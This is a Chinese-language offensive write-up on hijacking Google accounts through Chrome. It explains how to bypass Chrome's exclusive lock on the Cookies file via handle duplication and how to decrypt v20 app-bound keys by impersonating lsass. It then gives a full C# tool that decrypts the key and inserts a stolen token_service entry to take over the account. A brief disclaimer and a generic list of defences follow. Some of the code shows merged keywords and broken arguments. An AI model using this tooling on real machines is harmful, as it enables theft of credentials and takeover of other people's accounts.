Chrome浏览器的Google账户接管研究

 

 

Google Chrome是一款由Google公司开发的网页浏览器,基于Google自家开放源代码的Chromium制造,但是包含非开放源代码套件。Chrome及其他基于Chromium制作的浏览器,目前占据的整个浏览器市场的大半壁江山。

在攻击活动中,经常会有需要接管目标账户,进行进一步信息收集或取证的需求。目前已有大量工具可以用于从浏览器中提取密码、Cookies等敏感信息,但一方面绝大多数公开工具存在缺陷,无法适应可能遇到i的各种环境,另一方面Chrome浏览器对于Google账户的凭据储存存在特殊机制,无法通过Cookies直接实现接管。

Google账户登录验证

在Edge等浏览器中,如果用户登录了Google账户,可以通过提取相关Cookies的方法,直接接管相应账号,但是在Chrome浏览器中,这样是行不通的。Chrome中对Google的登录有自己的一些机制。

简单来说,可以通过在Chrome浏览器中访问chrome://signin-internals/来查看Google账号登陆情况。这里有一个重要参数token_service需要我们修改,具体怎么提取和修改呢?

一些准备工作

在历代的Chromium系列浏览器中,加解密都是基于DPAPI及AES-256-GSM。Chromium系列浏览器的配置文件保存在形如"%localappdata%\Google\Chrome\User Data"的目录中。其中在Local State文件中保存了一些通用且关键的Key信息。而默认用户配置文件目录是Default,如果有其他用户,则会有Profile加空格加数字的文件夹存在。其中的Cookies(高版本为Network\Cookies)文件储存了Cookies信息,Web Data文件储存了一个关键的token_service值。

在Chrome中,正是这个token_service,保存了重要信息,来保证Google账号登陆。我们可以通过替换本地浏览器的Web Data文件中此条,并导入Google相关Cookies的方式,完成接管。

Chromium系列浏览器对Cookies文件的锁定读取

在Chrome的114版本中,增加了一个功能LockProfileCookieDatabase(在更晚的更新中,此功能作为永久功能保留并删除了此选项),这个功能是为了防止其他软件随意读取敏感的Cookies文件,其实现方法是在使用CreateFile的API时,其SHARE_MODE参数中不添加SHARE_READ参数。这样就实现了对该文件的独占访问。当Chrome进程运行时,其他进程无法读取该文件。

直接通过api读取文件是不太现实的了,这就需要我们通过一些特殊的方法去获取该文件内容了。一些的可用的方法如下:

VSS

VSS 依托于 Windows 系统的存储架构,通过协调多个组件,如请求者(Requestor)、写入器(Writer)和提供者(Provider)来创建卷影副本。当触发卷影复制操作时,写入器负责暂停相关应用程序对文件的写入操作,确保数据一致性,提供者则负责实际的数据复制工作,最终生成一个可供访问的卷影副本,该副本反映了特定时间点的文件系统状态。VSS 协调为要备份的数据创建一致的卷影副本(也称为快照或时间点副本)所需的操作。

这个操作需要管理员权限,且在实际操作中成功率存疑,并且VSS可能对系统性能造成影响。

Low Level Disk Reading

常规文件系统访问通过目录、文件分配表(FAT)或 NTFS 元数据等抽象层,将用户对文件的逻辑操作(如打开、读取、写入)转换为磁盘物理地址的读写指令。低级磁盘读取则绕过部分或全部此类抽象,直接向磁盘控制器发送指令,获取磁盘原始数据块。

这个操作同样需要管理员权限,但是对不同文件系统的解析均没有非常稳定的开源实现。

Inject

可以通过将提取文件或解密工具注入进浏览器对应进程,即可直接正常打开独占句柄的文件。

但众所周知,注入方案众多,权限要求不一,但稳定性及免杀方面很难保证。

DuplicateHandle

当一个进程锁定文件后,其他进程无法直接通过常规文件打开函数访问。但借助 DuplicateHandle 函数,可以从锁定文件的源进程中复制文件句柄到目标进程。在复制过程中,合理设置访问权限参数,使得目标进程获得对该文件的读取权限,即使文件在源进程中处于锁定状态,目标进程也能通过复制得到的句柄读取文件内容。

这个操作只需要和目标进程同级别权限,并且行为较为隐秘。

具体实现

  • • 使用NtQueryInformationFile的FileProcessIdsUsingFileInformation参数,直接获取具有锁定文件句柄的进程。
  • • 通过NtQuerySystemInformation的SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX参数获取全局所有句柄,并根据上一步获得的进程名筛选该进程句柄。
  • • 依次复制句柄至自己进程并通过NtQueryObject查询句柄信息,直至找到目标句柄。

* 使用该句柄读取文件内容即可。

Chromium系列浏览器的解密-V10/V11/<80

对于Chrome 80之前的版本,可以直接使用DPAPI解密,对于80之后的版本,则修改为AES-256-GCM加密,加密过程可以参考os_crypt_win.cc,解密时可以根据开头为v10或v11判断为新版本加密,对于新版本,password_value的开头版本号为3位,其后12位为IV。AES加密使用的key来自浏览器数据目录的Local State文件,此文件内容为json,其中encrypted_key是base64编码的key。

Chromium系列浏览器的解密-V20

类似V10版本,但是需要从Local State文件中先获取app_bound_encrypted_key,对其base64解码后可获得一个APPB开头的key,先通过SYSTEM权限的DPAPI进行解密后再通过当前用户进行DPAPI解密,并取其后60位,以

sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=

经过base64后的值为key,后60位中前12位为IV,60位中后16位tag,对中间32位进行Aes-Gcm解密即可获得最终的key,这个key可以用类似之前版本的方案去正常解密数据库内容。

这套流程需要最低管理员权限,所以目前在低权限放弃V20解密,管理员权限的话,可以从lsass(高版本系统lsass存在PPL保护,可以考虑换成本session的WinLogon进程)进程获取SYSTEM句柄去模拟。

如果考虑程序可以直接system执行的话,就可以配合获取explorer或其他用户权限进程模拟即可。

最后要注意,解密的如果是Cookies,解密结果要去除前32位乱码,Web Data的内容无需此步处理。

解密结果的使用

最后我们会获取到解密的token_service和Google相关的cookies。Cookies可以通过Global Cookie Manager等工具导入,但Web Data没有现成工具使用,我们可以自己写一个加密脚本进行导入。

using Community.CsharpSqlite.SQLiteClient;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;

namespaceWebDataReplace
{
    internalclassProgram
    {
        static void Main(string[] args)
        {
            Console.Write("ID:");
            string id = Console.ReadLine();
            Console.Write("Token:");
            string token = Console.ReadLine();

            string webdatapath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default"), "Web Data");
            using (SqliteConnection conn = new SqliteConnection(@"Data Source=" + webdatapath + ";Version=3;"))
            {
                conn.Open();
                SqliteCommand cmd = new SqliteCommand(webdata(id, token), conn);
                cmd.ExecuteNonQuery();
            }
            Console.WriteLine("OK");
            Console.ReadLine();
        }

        private static string webdata(string id, string token)
        {
            byte[] key = GetAppBoundKey();
            byte[] iv = newbyte[12];
            byte[] result = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[0];
            byte[] tag = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[1];
            byte[] final = newbyte[31 + result.Length];
            final[0] = (byte)'v';
            final[1] = (byte)'2';
            final[2] = (byte)'0';
            Array.Copy(iv, 0, final, 312);
            Array.Copy(result, 0, final, 15, result.Length);
            Array.Copy(tag, 0, final, 15 + result.Length, 16);
            string t = BitConverter.ToString(final, 0).Replace("-""");
            string output = "INSERT INTO token_service (service,encrypted_token) VALUES ('" + id + "',x'" + t + "');";
            return output;
        }
        publicenum PROCESS_ACCESS_FLAGS : uint
        {
            PROCESS_ALL_ACCESS = 0x001F0FFF,
            PROCESS_CREATE_PROCESS = 0x0080,
            PROCESS_CREATE_THREAD = 0x0002,
            PROCESS_DUP_HANDLE = 0x0040,
            PROCESS_QUERY_INFORMATION = 0x0400,
            PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,
            PROCESS_SET_INFORMATION = 0x0200,
            PROCESS_SET_QUOTA = 0x0100,
            PROCESS_SUSPEND_RESUME = 0x0800,
            PROCESS_TERMINATE = 0x0001,
            PROCESS_VM_OPERATION = 0x0008,
            PROCESS_VM_READ = 0x0010,
            PROCESS_VM_WRITE = 0x0020,
            SYNCHRONIZE = 0x00100000
        }

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern bool RevertToSelf();
        [DllImport("advapi32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
        [DllImport("advapi32.dll")]
        public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);
        [DllImport("advapi32.dll", SetLastError = true)]
        public static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(PROCESS_ACCESS_FLAGS dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        public static bool ImpersonateProcessToken(int pid)
        {
            IntPtr hProcess = OpenProcess(PROCESS_ACCESS_FLAGS.PROCESS_QUERY_INFORMATION, true, pid);
            if (hProcess == IntPtr.Zero) returnfalse;
            IntPtr hToken;
            if (!OpenProcessToken(hProcess, 0x00000002 | 0x00000004out hToken)) returnfalse;
            IntPtr DuplicatedToken = new IntPtr();
            if (!DuplicateToken(hToken, 2ref DuplicatedToken)) returnfalse;
            if (!SetThreadToken(IntPtr.Zero, DuplicatedToken)) returnfalse;
            returntrue;
        }

        public static byte[] GetAppBoundKey()
        {
            try
            {
                string filePath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data"), "Local State");
                if (!File.Exists(filePath))
                    returnnull;
                var pattern = new Regex("\"app_bound_encrypted_key\":\"(.*?)\"", RegexOptions.Compiled).Matches(File.ReadAllText(filePath).Replace(" """));

                byte[] masterKey = null;
                foreach (Match prof in pattern)
                {
                    if (prof.Success)
                        masterKey = Convert.FromBase64String((prof.Groups[1].Value));
                }
                if (masterKey.Length >= 4 && Encoding.UTF8.GetString(masterKey).StartsWith("APPB"))
                {
                    byte[] tempresult = newbyte[masterKey.Length - 4];
                    Array.Copy(masterKey, 4, tempresult, 0, masterKey.Length - 4);
                    masterKey = tempresult;
                }
                ImpersonateProcessToken(Process.GetProcessesByName("lsass")[0].Id);
                byte[] result = ProtectedData.Unprotect(masterKey, null, DataProtectionScope.LocalMachine);
                RevertToSelf();
                byte[] Key1 = ProtectedData.Unprotect(result, null, DataProtectionScope.CurrentUser);
                byte[] Key2 = Key1.Skip(Math.Max(0, Key1.Length - 60)).ToArray();
                byte[] decryptedData = null;
                string aesKeyBase64 = "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=";
                byte[] aesKey = Convert.FromBase64String(aesKeyBase64);
                byte[] iv = Key2.Take(12).ToArray();
                byte[] ciphertext = Key2.Skip(12).Take(32).ToArray();
                byte[] tag = Key2.Skip(44).Take(16).ToArray();
                decryptedData = new AesGcm().Decrypt(aesKey, iv, null, ciphertext, tag);


                return decryptedData;
            }
            catch
            {
                returnnull;
            }
        }
    }
    classAesGcm
    {
        public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
        {
            IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM);
            var keyDataBuffer = ImportKey(hAlg, key, outvar hKey);

            byte[] plainText;

            Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
            byte[] ivData = newbyte[MaxAuthTagSize(hAlg)];

            int plainTextSize = 0;

            uint status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null0ref plainTextSize, 0x0);

            if (status != Native.ERROR_SUCCESS)
                thrownew CryptographicException(
                    $"Native.BCryptDecrypt() (get size) failed with status code: {status}");

            plainText = newbyte[plainTextSize];

            status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);

            if (status == Native.STATUS_AUTH_TAG_MISMATCH)
                thrownew CryptographicException("Native.BCryptDecrypt(): authentication tag mismatch");

            if (status != Native.ERROR_SUCCESS)
                thrownew CryptographicException($"Native.BCryptDecrypt() failed with status code:{status}");

            authInfo.Dispose();

            Native.BCryptDestroyKey(hKey);
            Marshal.FreeHGlobal(keyDataBuffer);
            Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);

            return plainText;
        }
        publicstaticbyte[][] Encrypt(byte[] key, byte[] iv, byte[] aad, byte[] plainText)
        {
            IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM);
            IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);

            byte[] cipher;
            byte[] tag = newbyte[MaxAuthTagSize(hAlg)];

            var authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, tag);
            using (authInfo)
            {
                byte[] ivData = newbyte[tag.Length];

                int cipherSize = 0;

                uint status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length, null0ref cipherSize, 0x0);

                if (status != Native.ERROR_SUCCESS)
                    thrownew CryptographicException(string.Format("Native.BCryptEncrypt() (get size) failed with status code:{0}", status));

                cipher = newbyte[cipherSize];

                status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length,
                                              cipher, cipher.Length, ref cipherSize, 0x0);

                if (status != Native.ERROR_SUCCESS)
                    thrownew CryptographicException(string.Format("Native.BCryptEncrypt() failed with status code:{0}", status));

                Marshal.Copy(authInfo.pbTag, tag, 0, authInfo.cbTag);
            }

            Native.BCryptDestroyKey(hKey);
            Marshal.FreeHGlobal(keyDataBuffer);
            Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);

            returnnew[] { cipher, tag };
        }

        private static int MaxAuthTagSize(IntPtr hAlg)
        {
            byte[] tagLengthsValue = GetProperty(hAlg, Native.BCRYPT_AUTH_TAG_LENGTH);

            return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0);
        }

        private static IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
        {
            uint status = Native.BCryptOpenAlgorithmProvider(outvar hAlg, alg, provider, 0x0);

            if (status != Native.ERROR_SUCCESS)
                thrownew CryptographicException(
                    $"Native.BCryptOpenAlgorithmProvider() failed with status code:{status}");

            byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
            status = Native.BCryptSetAlgorithmProperty(hAlg, Native.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);

            if (status != Native.ERROR_SUCCESS)
                thrownew CryptographicException(
                    $"Native.BCryptSetAlgorithmProperty(Native.BCRYPT_CHAINING_MODE, Native.BCRYPT_CHAIN_MODE_GCM) failed with status code:{status}");

            return hAlg;
        }

        private static IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
        {
            byte[] objLength = GetProperty(hAlg, Native.BCRYPT_OBJECT_LENGTH);

            int keyDataSize = BitConverter.ToInt32(objLength, 0);

            IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);

            byte[] keyBlob = Concat(Native.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);

            uint status = Native.BCryptImportKey(hAlg, IntPtr.Zero, Native.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);

            if (status != Native.ERROR_SUCCESS)
                thrownew CryptographicException($"Native.BCryptImportKey() failed with status code:{status}");

            return keyDataBuffer;
        }

        private static byte[] GetProperty(IntPtr hAlg, string name)
        {
            int size = 0;

            uint status = Native.BCryptGetProperty(hAlg, name, null0ref size, 0x0);

            if (status != Native.ERROR_SUCCESS)
                thrownew CryptographicException(
                    $"Native.BCryptGetProperty() (get size) failed with status code:{status}");

            byte[] value = newbyte[size];

            status = Native.BCryptGetProperty(hAlg, name, valuevalue.Length, ref size, 0x0);

            if (status != Native.ERROR_SUCCESS)
                thrownew CryptographicException($"Native.BCryptGetProperty() failed with status code:{status}");

            returnvalue;
        }

        public static byte[] Concat(params byte[][] arrays)
        {
            int len = 0;

            foreach (byte[] array in arrays)
            {
                if (array == null)
                    continue;
                len += array.Length;
            }

            byte[] result = newbyte[len - 1 + 1];
            int offset = 0;

            foreach (byte[] array in arrays)
            {
                if (array == null)
                    continue;
                Buffer.BlockCopy(array, 0, result, offset, array.Length);
                offset += array.Length;
            }

            return result;
        }
    }

    classNative
    {
        #region BCrypt
        publicconstuint ERROR_SUCCESS = 0x00000000;
        publicconstuint BCRYPT_PAD_PSS = 8;
        publicconstuint BCRYPT_PAD_OAEP = 4;

        publicstaticreadonlybyte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);

        publicstaticreadonlystring BCRYPT_OBJECT_LENGTH = "ObjectLength";
        publicstaticreadonlystring BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
        publicstaticreadonlystring BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
        publicstaticreadonlystring BCRYPT_CHAINING_MODE = "ChainingMode";
        publicstaticreadonlystring BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
        publicstaticreadonlystring BCRYPT_AES_ALGORITHM = "AES";

        publicstaticreadonlystring MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";

        publicstaticreadonlyint BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;
        publicstaticreadonlyint BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;

        publicstaticreadonlyuint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;

        [DllImport("BCrypt.dll")]
        public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm,
                                                              [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId,
                                                              [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,
                                                              uint dwFlags);

        [DllImport("BCrypt.dll")]
        public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);

        [DllImport("BCrypt.dll", EntryPoint = "BCryptGetProperty")]
        public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);

        [DllImport("BCrypt.dll", EntryPoint = "BCryptSetProperty")]
        internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);


        [DllImport("BCrypt.dll")]
        public static extern uint BCryptImportKey(IntPtr hAlgorithm,
                                                  IntPtr hImportKey,
                                                  [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,
                                                  out IntPtr phKey,
                                                  IntPtr pbKeyObject,
                                                  int cbKeyObject,
                                                  byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)
                                                  int cbInput,
                                                  uint dwFlags);

        [DllImport("BCrypt.dll")]
        public static extern uint BCryptDestroyKey(IntPtr hKey);

        [DllImport("BCrypt.dll")]
        internal static extern uint BCryptDecrypt(IntPtr hKey,
                                                  byte[] pbInput,
                                                  int cbInput,
                                                  ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
                                                  byte[] pbIV,
                                                  int cbIV,
                                                  byte[] pbOutput,
                                                  int cbOutput,
                                                  ref int pcbResult,
                                                  int dwFlags);

        [DllImport("bcrypt.dll")]
        public static extern uint BCryptEncrypt(IntPtr hKey,
                                               byte[] pbInput,
                                               int cbInput,
                                               ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
                                               byte[] pbIV, int cbIV,
                                               byte[] pbOutput,
                                               int cbOutput,
                                               ref int pcbResult,
                                               uint dwFlags);

        [StructLayout(LayoutKind.Sequential)]
        publicstruct BCRYPT_PSS_PADDING_INFO
        {
            public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
            {
                this.pszAlgId = pszAlgId;
                this.cbSalt = cbSalt;
            }

            [MarshalAs(UnmanagedType.LPWStr)]
            publicstring pszAlgId;
            publicint cbSalt;
        }

        [StructLayout(LayoutKind.Sequential)]
        publicstruct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
        {
            publicint cbSize;
            publicint dwInfoVersion;
            public IntPtr pbNonce;
            publicint cbNonce;
            public IntPtr pbAuthData;
            publicint cbAuthData;
            public IntPtr pbTag;
            publicint cbTag;
            public IntPtr pbMacContext;
            publicint cbMacContext;
            publicint cbAAD;
            publiclong cbData;
            publicint dwFlags;

            public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this()
            {
                dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
                cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));

                if (iv != null)
                {
                    cbNonce = iv.Length;
                    pbNonce = Marshal.AllocHGlobal(cbNonce);
                    Marshal.Copy(iv, 0, pbNonce, cbNonce);
                }

                if (aad != null)
                {
                    cbAuthData = aad.Length;
                    pbAuthData = Marshal.AllocHGlobal(cbAuthData);
                    Marshal.Copy(aad, 0, pbAuthData, cbAuthData);
                }

                if (tag != null)
                {
                    cbTag = tag.Length;
                    pbTag = Marshal.AllocHGlobal(cbTag);
                    Marshal.Copy(tag, 0, pbTag, cbTag);

                    cbMacContext = tag.Length;
                    pbMacContext = Marshal.AllocHGlobal(cbMacContext);
                }
            }

            public void Dispose()
            {
                if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);
                if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);
                if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);
                if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext);
            }
        }

        [StructLayout(LayoutKind.Sequential)]
        publicstruct BCRYPT_OAEP_PADDING_INFO
        {
            public BCRYPT_OAEP_PADDING_INFO(string alg)
            {
                pszAlgId = alg;
                pbLabel = IntPtr.Zero;
                cbLabel = 0;
            }

            [MarshalAs(UnmanagedType.LPWStr)]
            publicstring pszAlgId;
            public IntPtr pbLabel;
            publicint cbLabel;
        }
        #endregion

    }
}

截至这里,也就完成了在Chrome浏览器上接管Google的原理介绍和方案实现。

仅供研究,勿作他用

防范方式

  • • 启用双重验证:为Google账户启用双重验证,例如通过手机验证码或身份验证器应用,可有效防止未经授权的登录。
  • • 设置强密码:使用复杂且独特的密码,并定期更换,避免在不同平台使用相同密码。
  • • 更新浏览器和扩展程序:确保Chrome浏览器及扩展程序始终保持最新版本,以修复已知漏洞。
  • • 谨慎下载扩展程序:仅从官方商店下载扩展程序,避免安装权限过高的插件。
  • • 启用安全浏览功能:确保Chrome的安全浏览功能已开启,以检测并警告恶意网站。
  • • 定期清理数据:定期清除浏览历史、Cookies和缓存,减少隐私泄露风险。
  • • 提高安全意识:警惕钓鱼邮件和可疑链接,避免在不安全的网站上输入账户信息。
  • • 使用安全工具:安装可靠的杀毒软件和防火墙,防止恶意软件入侵。
  • • 绑定手机号:将Google账户与手机号绑定,可显著提升账户安全性。

通过以上措施,可以有效降低Chrome浏览器中Google账户被接管的风险。